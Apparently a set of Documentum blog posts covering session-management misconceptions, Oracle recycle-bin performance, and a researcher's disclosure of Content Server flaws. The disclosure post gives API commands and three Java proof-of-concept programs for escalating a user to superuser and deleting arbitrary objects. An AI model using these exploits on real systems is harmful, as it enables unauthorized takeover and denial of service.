Session management. Misconceptions

In 2011 EMC published a funny whitepaper about session management, actually, this whitepaper is full of misconceptions and was already outdated at the moment of publishing, some examples:

Original quote:

It is not recommended to use the IDfSession.disconnect() method to disconnect a session. A session must always be released with the same session manager release() method through which the session was acquired. The IDfSessionManager.release() method performs additional tasks such as closing related sessions or sub-connections, aborting unfinished session transactions, and so on.

Clarification:

com.documentum.fc.client.IDfSessionManager#release calls com.documentum.fc.client.IDfSession#disconnect, so there is no difference between release() and disconnect() calls.

Original quote:

A Session Listener allows a developer to execute customized code during session creation and release. The developer must write a custom listener class that implements the IDfSessionManagerEventListener interface and defines the onSessionCreate() and onSessionDestroy() methods. The developer can then register the custom listener class with the session manager using the IDfSessionManager.setListener() method.

Clarification:

If you are going to use this capability (for example I like to do something like:

public static final String APPLICATION_CODE_ATTR = "application_code";

@Override
public void onSessionCreate(IDfSession session) throws DfException {
    setApplicationCode(session, "some value");
}
        
private void setApplicationCode(IDfSession session, String value) throws DfException {
    IDfTypedObject sessionConfig = session.getSessionConfig();
    if (StringUtils.isNotBlank(value)) {
        value = value.replaceAll("-", "_").replaceAll(
                "[^A-Za-z0-9_]", "");
    }

    if (StringUtils.isBlank(value)) {
        return;
    }

    boolean needAdd = true;
    for (int n = sessionConfig.getValueCount(APPLICATION_CODE_ATTR), i = n; i > 0; i--) {
        if (value.equals(sessionConfig.getRepeatingString(
                APPLICATION_CODE_ATTR, i - 1))) {
            needAdd = false;
        }
    }
    if (needAdd) {
        sessionConfig.appendString(APPLICATION_CODE_ATTR, value);
    }
}

to force content server to store some extra information in dm_aduittrail.application_code), note that com.documentum.fc.client.IDfSessionManagerEventListener#onSessionDestroy is never being called.

Original quote:

Consider a scenario where Web-based developers create a session manager for each http request and use level-1 pooling. This is an incorrect usage because level-1 pooling is scoped for every session manager but each request uses its own session manager. In addition, this approach introduces problems because requests to create a new session using a new session manager create a new socket connection and session. This approach does not reuse previous sessions created by the previous session manager. The sessions created by previous requests defined by the dfc.session.pool.expiration_interval property remain as they are, until the Session Worker Thread cleans up the sessions. As a result, the code may reach the maximum session limit when there is a heavy load of requests.

Clarification:

EMC forgot to say that if you are constructing new session manager on every request (currently it’s the only option to make your application thread-safe) then the only correct pattern is (note flushSessions() call):

IDfSession session = null;
IDfSessionManager sessionManager = null;
try {
	sessionManager = _dfClient.newSessionManager();
	IDfLoginInfo loginInfo = new DfLoginInfo(_userName, _password);
	sessionManager.setIdentity(_docbase, loginInfo);
	session = sessionManager.getSession(_docbase);

	// some logic

} finally {
	if (session != null) {
		sessionManager.release(session);
		sessionManager.flushSessions();
	}
}

In this case all sessions assigned to session manager will be forcibly returned to level-2 pool or disconnected (if usage of level-2 pool is turned off, so the point “requests to create a new session using a new session manager create a new socket connection and session” is wrong too).

Original quote:

You are recommended to use the getSession() method in multithread applications that perform short-lived activities… A private session cannot be shared. Private sessions give complete control of the session state for a specific task. A private session is commonly used for a long running task.

Clarification:

There are no “short-lived activities” or “long running tasks” – all Documentum operations are extremely slow by design. Moreover, acquiring session by calling newSession() call is not safe if you don’t know what happens behind the scenes, for example, the usage of docbase modules derived from com.documentum.fc.client.DfSingleDocbaseModule class causes inconsistent behaviour – see how EMC completely broke session management in BPM 6.7SP1. Moreover, in general, sharing session manager instance between threads is not a good idea too – the only correct way to acquire “private” session is construct new session manager instance and call getSession().

Is it possible to compromise Documentum by deleting object? Part I

On April 2014 I discovered a vulnerability in Documentum Content Server which allows any user to gain superuser privileges, that vulnerability was based on a fact that Content Server uses different RPC commands to save objects of different types:

API> retrieve,c,dm_user where user_name=USER
...
1101ffd780001911
API> set,c,l,user_privileges
SET> 16
...
OK
— Here client (DFC) sends SaveUser RPC-command
— and Content Server handles it properly – user does not have
— privileges to modify dm_user objects
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error: 
   "The current user (op1tp1) needs to have superuser or sysadmin privilege."

API> revert,c,l,
...
OK
API> get,c,l,i_vstamp
...
20
—
— Here we send RelationSave RPC-command against dm_user object
—
API> apply,c,1101ffd780001911,RelationSave,
  OBJECT_TYPE,S,dm_user,
  IS_NEW_OBJECT,B,F,
  i_vstamp,I,20,
  user_privileges,I,16
...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...
1
API> revert,c,l,
...
OK
—
— Now attacker has superuser privileges
—
API> get,c,l,user_privileges
...
16

(Un)fortunately, at that time I already knew a lot about EMC’s “competence”, so, I did understand that the best result of providing PoC for RelationSave RPC-command would be a remedy for RelationSave RPC-command only, so, I provided a more complex PoC:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));

            IDfUser user = session.getUser(null);

            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }

            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                saveMethods.add(((TypeMechanics) o).getSaveMethod());
            }
            for (String method : saveMethods) {
                System.out.println(method + "\tis "
                        + (checkDmMethod(session, method) ? "" : "not ")
                        + "vulnerable for dm_method objects, " + "\tis "
                        + (checkDmUser(session, method) ? "" : "not ")
                        + "vulnerable for dm_user objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }

    public static Boolean checkDmUser(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfUser object = session.getUser(null);
            object.revert();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "IS_NEW_OBJECT", "i_vstamp", "user_privileges", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "I", });
            IDfList values = new DfList(new String[] {"dm_user", "F",
                String.valueOf(object.getVStamp()), "16" });
            session.apply(object.getObjectId().getId(), method, params, types,
                    values);
            object.revert();
            if (16 == object.getInt("user_privileges")) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

    public static Boolean checkDmMethod(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfSysObject object = (IDfSysObject) session
                    .getObjectByQualification("dm_method");
            object.revert();
            String methodVerb = String.valueOf(System.currentTimeMillis());
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "IS_NEW_OBJECT", "i_vstamp", "method_verb", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "S", });
            IDfList values = new DfList(new String[] {object.getTypeName(),
                "F", String.valueOf(object.getVStamp()), methodVerb });
            session.apply(object.getObjectId().getId(), method, params, types,
                    values);
            object.revert();
            if (methodVerb.equals(object.getString("method_verb"))) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

}

which demonstrates vulnerability in the following RPC commands: SAVE_CONT_ATTRS, RelationSave, dmScopeConfigSave. EMC addressed that vulnerability in CVE-2014-2514, but, as expected, the remedy was incomplete and was contested immediately by the following PoC:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));

            IDfUser user = session.getUser(null);

            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }

            int len = 0;
            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                String methodName = ((TypeMechanics) o).getSaveMethod();
                saveMethods.add(methodName);
                if (methodName.length() > len) {
                    len = methodName.length();
                }
            }

            List<String> ids = getNextIds(session, 16, saveMethods.size());
            Iterator<String> idIterator = ids.iterator();
            for (String method : saveMethods) {
                System.out.format(
                        "%-" + String.valueOf(len + 1) + "s: %s\n",
                        method,
                        "is "
                                + (checkDmMethod(session, method,
                                idIterator.next()) ? "" : "not ")
                                + "vulnerable for dm_method objects");
            }

            ids = getNextIds(session, 17, saveMethods.size());
            idIterator = ids.iterator();
            for (String method : saveMethods) {
                System.out.format(
                        "%-" + String.valueOf(len + 1) + "s: %s\n",
                        method,
                        "is "
                                + (checkDmUser(session, method,
                                idIterator.next()) ? "" : "not ")
                                + "vulnerable for dm_user objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }

    public static Boolean checkDmUser(IDfSession session, String method,
                                      String id) throws DfException {
        String userName = String.valueOf(System.currentTimeMillis());
        try {
            session.beginTrans();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                    "IS_NEW_OBJECT", "i_vstamp", "user_name", "user_login_name",
                    "user_os_name", "user_privileges", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "S", "S",
                    "S", "I" });
            IDfList values = new DfList(new String[] {"dm_user", "T",
                    String.valueOf(0), userName, userName, userName,
                    String.valueOf(16) });
            try {
                session.apply(id, method, params, types, values);
            } catch (DfException ex) {
                // ignore
            }
            IDfUser object = (IDfUser) session.getObject(DfId.valueOf(id));
            if (userName.equals(object.getString("user_name"))) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

    public static Boolean checkDmMethod(IDfSession session, String method,
                                        String id) throws DfException {
        String methodVerb = String.valueOf(System.currentTimeMillis());
        try {
            session.beginTrans();
            IDfUser user = session.getUser(null);
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                    "IS_NEW_OBJECT", "i_vstamp", "object_name", "r_object_type",
                    "acl_name", "owner_name", "owner_permit", "run_as_server",
                    "method_verb", });
            IDfList types = new DfList(new String[] {"S", "B", "I", "S", "S",
                    "S", "S", "I", "B", "S", });
            IDfList values = new DfList(new String[] {"dm_method", "T",
                    String.valueOf(0), String.valueOf(methodVerb), "dm_method",
                    user.getACLName(), user.getUserName(), String.valueOf(7), "T",
                    String.valueOf(methodVerb), });
            try {
                session.apply(id, method, params, types, values);
            } catch (DfException ex) {
                // ignore
            }
            IDfSysObject object = (IDfSysObject) session.getObject(DfId
                    .valueOf(id));
            if (methodVerb.equals(object.getString("method_verb"))) {
                return true;
            } else {
                return false;
            }
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

    private static List<String> getNextIds(IDfSession session, int tag,
                                           int howMany) throws DfException {
        IDfList params = new DfList(new String[] {"TAG", "HOW_MANY", });
        IDfList types = new DfList(new String[] {"I", "I", });
        IDfList values = new DfList(new String[] {String.valueOf(tag),
                String.valueOf(howMany), });
        IDfCollection collection = session.apply(DfId.DF_NULLID.getId(),
                "NEXT_ID_LIST", params, types, values);
        List<String> result = new ArrayList<String>();
        try {
            while (collection.next()) {
                for (int i = 0, n = collection.getValueCount("next_id"); i < n; i++) {
                    result.add(collection.getRepeatingString("next_id", i));
                }
            }
        } finally {
            collection.close();
        }
        return result;
    }

}

now we are creating new objects instead of modifying old ones, which reveals the same vulnerability in the following RPC commands: ACLSave, ReferenceSave, dmAuditTrailSave. According to EMC, they are going to remediate this “new” vulnerability in February patches.

Unfortunately, this story is not complete because besides the fact that we can create or modify objects we can also delete objects, and following PoC demonstrates the ability to delete arbitrary object in system using dmScopeConfigExpunge and dmDisplayConfigExpunge RPC commands:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));

            IDfUser user = session.getUser(null);

            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }

            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                saveMethods.add(((TypeMechanics) o).getExpungeMethod());
            }
            for (String method : saveMethods) {
                System.out.println(method + "\tis "
                        + (checkDmServerConfig(session, method) ? "" : "not ")
                        + "vulnerable for dm_server_config objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }

    public static Boolean checkDmServerConfig(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfPersistentObject object = (IDfPersistentObject) session
                    .getServerConfig();
            object.revert();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "i_vstamp", });
            IDfList types = new DfList(new String[] {"S", "I", });
            IDfList values = new DfList(
                    new String[] {object.getType().getName(),
                        String.valueOf(object.getVStamp()), });
            try {
                session.apply(object.getObjectId().getId(), method, params,
                        types, values);
            } catch (DfException ex) {
                return false;
            }
            try {
                object.revert();
            } catch (DfException ex) {
                return true;
            }
            return false;
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }

}

It is obvious that last PoC demonstrates deny of service, but is it possible to gain super user privileges in Documentum by deleting certain object?

DM_GROUP_LIST_LIMIT_TEMP_TBL vs Oracle Database

Content Server recognizes three environment variables which control the manner of ACL checks in DQL queries, these variables are:

DM_GROUP_LIST_LIMIT – sets the upper limit (default is 250) of groups, user belongs to, after which CS performs ACL checks using following manner:

AND ((EXISTS
   (SELECT 1
    FROM dm_acl_s ACL_S0, dm_acl_r ACL_R
   WHERE ACL_S0.r_object_id = ACL_R.r_object_id
     AND dm_folder.acl_domain = ACL_S0.owner_name
     AND dm_folder.acl_name = ACL_S0.object_name
     AND (( ACL_R.r_accessor_name IN
         ('dmadmin', 'dm_world')
       OR (ACL_R.r_is_group = 1
         AND (EXISTS
           (SELECT 1
            FROM dm_group_r gr1, dm_group_r gr2
           WHERE gr1.i_nondyn_supergroups_names =
              ACL_R.r_accessor_name
             AND gr1.r_object_id =
                gr2.r_object_id
             AND gr2.users_names = 'dmadmin'
             AND gr1.i_nondyn_supergroups_names
                IS NOT NULL
            UNION ALL
            SELECT 1
            FROM dm_group_r gr1, dm_group_r gr2
           WHERE gr1.i_nondyn_supergroups_names =
              ACL_R.r_accessor_name
             AND gr1.r_object_id =
                gr2.r_object_id
             AND gr2.groups_names =
                'dm_world'
             AND gr1.i_nondyn_supergroups_names
                IS NOT NULL)))
       OR (ACL_R.r_accessor_name = 'dm_owner'))
        AND (( ACL_R.r_permit_type = 0
          OR ACL_R.r_permit_type IS NULL)
         AND (((ACL_R.r_accessor_permit >= 6))))))))

DM_GROUP_LIST_LIMIT_TEMP_TBL – if set to T, CS stores user’s groups in “temporary” (“temporary” here does not mean true temporary tables, but regular tables which persist in database during some period of time) table and performs security checks using following manner:

AND ((EXISTS
   (SELECT 1
    FROM dm_acl_s ACL_S0, dm_acl_r ACL_R
   WHERE ACL_S0.r_object_id = ACL_R.r_object_id
     AND dm_folder.acl_domain = ACL_S0.owner_name
     AND dm_folder.acl_name = ACL_S0.object_name
     AND (( ACL_R.r_accessor_name IN
         ('dmadmin', 'dm_world')
       OR (ACL_R.r_is_group = 1
         AND (EXISTS
           (SELECT 1
            FROM dmdql80112100000
           WHERE ACL_R.r_accessor_name =
              group_name)))
       OR (ACL_R.r_accessor_name = 'dm_owner'))
        AND (( ACL_R.r_permit_type = 0
          OR ACL_R.r_permit_type IS NULL)
         AND (((ACL_R.r_accessor_permit >= 6))))))))

DM_LEFT_OUTER_JOIN_FOR_ACL – seems does not have effect for Oracle docbases, so I don’t know how CS performs ACL checks in this case.

The problem is when DM_GROUP_LIST_LIMIT_TEMP_TBL is in effect, Content Server permanently creates and drops “temporary” tables, but due to recycle bin feature introduced in Oracle 10g, oracle does not really drop those temporary tables but moves them to recycle bin which leads to the following performance impact: when Oracle runs out of free space it tries to reclaim space by purging objects from recycle bin and database inserts get stuck on “enq: CR – block range reuse ckpt”. So, if you are going to use DM_GROUP_LIST_LIMIT_TEMP_TBL feature disable recycle bin in Oracle to avoid performance troubles.